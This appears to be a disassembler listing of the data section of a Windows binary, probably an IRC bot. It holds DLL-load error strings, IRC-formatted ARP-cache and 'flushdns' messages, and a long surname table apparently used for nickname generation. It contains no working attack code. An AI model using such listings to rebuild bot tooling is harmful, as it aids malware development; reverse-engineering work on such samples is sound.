aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o align 10h a_: ; DATA XREF: sub_41036B+252o unicode 0, <.>,0 unk_42D864 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9E7o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42D894 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9B5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42D8C4 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A981o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D8E8 db 2Dh ; - ; DATA XREF: sub_40A928+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AA06+46o ; sub_40C2AF+38o aReal db 'real',0 align 4 dd 0 dword_42D92C dd 0 ; DATA XREF: sub_40AE84+7o off_42D930 dd offset sub_40AAAC ; DATA XREF: sub_40AE84+49r aConst db 'const',0 align 10h dd 1, 40AB19h, 7474656Ch, 7265h, 0 dd 2, 40AB77h, 706D6F63h, 2 dup(0) dd 3, 40ABC4h, 6E756F63h, 797274h, 0 dd 4, 40AC62h, 736Fh, 2 dup(0) dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0 dd 6, 40AEEDh off_42D9AC dd offset aAbdulrazak ; DATA XREF: sub_40AAAC+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D9B8 dd offset aAddison ; DATA XREF: sub_40AE84+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset dword_430058 dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" 